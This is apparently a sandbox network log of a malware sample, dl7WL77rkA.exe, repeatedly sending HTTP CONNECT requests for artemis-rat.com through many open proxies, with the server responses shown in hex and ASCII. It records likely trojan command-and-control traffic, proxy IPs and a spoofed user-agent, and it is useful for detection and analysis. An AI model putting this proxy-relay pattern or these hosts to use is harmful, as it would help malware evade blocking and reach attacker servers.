Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
717	192.168.2.5	52137	156.232.9.194	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.462440968 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.631088972 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.13.7 Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 33 2e 37 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.13.7</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
718	192.168.2.5	52002	140.82.35.234	44444	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.462440968 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.840213060 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
719	192.168.2.5	49823	50.63.12.33	22450	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.470930099 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.490483046 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.514638901 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.641419888 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
720	192.168.2.5	51274	194.124.36.28	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.472105980 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.405374050 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
721	192.168.2.5	51303	178.94.231.93	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.472105980 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.097388029 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
722	192.168.2.5	51710	117.160.250.131	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.473582029 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.108141899 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.064898014 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 02:30:42 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>
Mar 11, 2024 03:30:45.934864998 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 02:30:42 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
723	192.168.2.5	49747	94.231.199.226	1971	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.473608971 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.490453005 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.514637947 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.025557995 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
724	192.168.2.5	51912	171.235.166.222	4019	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.479670048 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.895592928 CET	39	IN	HTTP/1.0 200 Connection established
Mar 11, 2024 03:30:40.939320087 CET	253	IN	HTTP/1.0 500 Internal Error Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 45 72 72 6f 72 3c 2f 68 32 3e 3c 68 33 3e 49 6e 74 65 72 6e 61 6c 20 70 72 6f 78 79 20 65 72 72 6f 72 20 64 75 72 69 6e 67 20 70 72 6f 63 65 73 73 69 6e 67 20 79 6f 75 72 20 72 65 71 75 65 73 74 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>500 Internal Error</title></head><body><h2>500 Internal Error</h2><h3>Internal proxy error during processing your request</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
725	192.168.2.5	52079	38.54.95.19	9080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.480660915 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 03:30:42.703011990 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:30:43.843003035 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:30:45.186225891 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:30:47.839272976 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:30:53.213911057 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:03.970248938 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:25.725948095 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:32:08.734045029 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
726	192.168.2.5	49759	212.154.82.52	9090	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.480725050 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.490422964 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.514622927 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.641412973 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:55.312625885 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
727	192.168.2.5	52025	121.159.146.251	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.480792999 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
728	192.168.2.5	52036	146.56.154.83	21000	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.481528997 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
729	192.168.2.5	51998	114.132.202.246	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.482682943 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.035099983 CET	84	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:40 GMT Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
730	192.168.2.5	52142	52.35.240.119	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.484087944 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.892859936 CET	65	IN	HTTP/1.1 200 Connection Established Content-Type: text/plain

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
731	192.168.2.5	52026	91.107.180.250	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.484090090 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.792809963 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
732	192.168.2.5	52030	58.234.116.197	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.485212088 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
733	192.168.2.5	52011	120.76.42.209	8888	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.486428022 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
734	192.168.2.5	52048	58.234.116.197	8197	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.488076925 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
735	192.168.2.5	52165	104.17.9.114	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.488079071 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.642817974 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
736	192.168.2.5	52154	162.241.158.204	46783	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.488945961 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
737	192.168.2.5	52199	104.27.122.6	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.489140034 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.643428087 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
738	192.168.2.5	52109	82.113.157.122	31280	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.489145994 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
739	192.168.2.5	52073	185.104.63.57	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.489782095 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.201930046 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.202281952 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.201984882 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:07.900358915 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:08.928154945 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:11.999728918 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:18.143877029 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:30.176146984 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:54.240824938 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
740	192.168.2.5	51966	20.219.182.59	3129	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

